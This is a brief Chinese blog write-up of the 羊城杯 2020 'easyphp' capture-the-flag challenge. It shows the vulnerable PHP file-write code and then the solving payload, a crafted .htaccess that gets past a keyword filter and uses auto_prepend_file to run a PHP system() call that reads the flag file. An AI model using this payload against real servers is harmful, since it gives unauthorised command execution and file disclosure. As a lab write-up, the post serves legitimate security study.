CHHHCHHOH 's BLOG

[羊城杯 2020]easyphp

<?php
$files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?>

利用.htaccess文件来进行命令执行
在.htaccess里可以用\来拼接多条语句,#好像是.htaccess的固定写法,\是为了来\n变成\n而不是换行,避免报错
?filename=.htaccess&content=php_value auto_prepend_fil\
e .htaccess

<?php system('cat /fla'.'g');?>\

添加新评论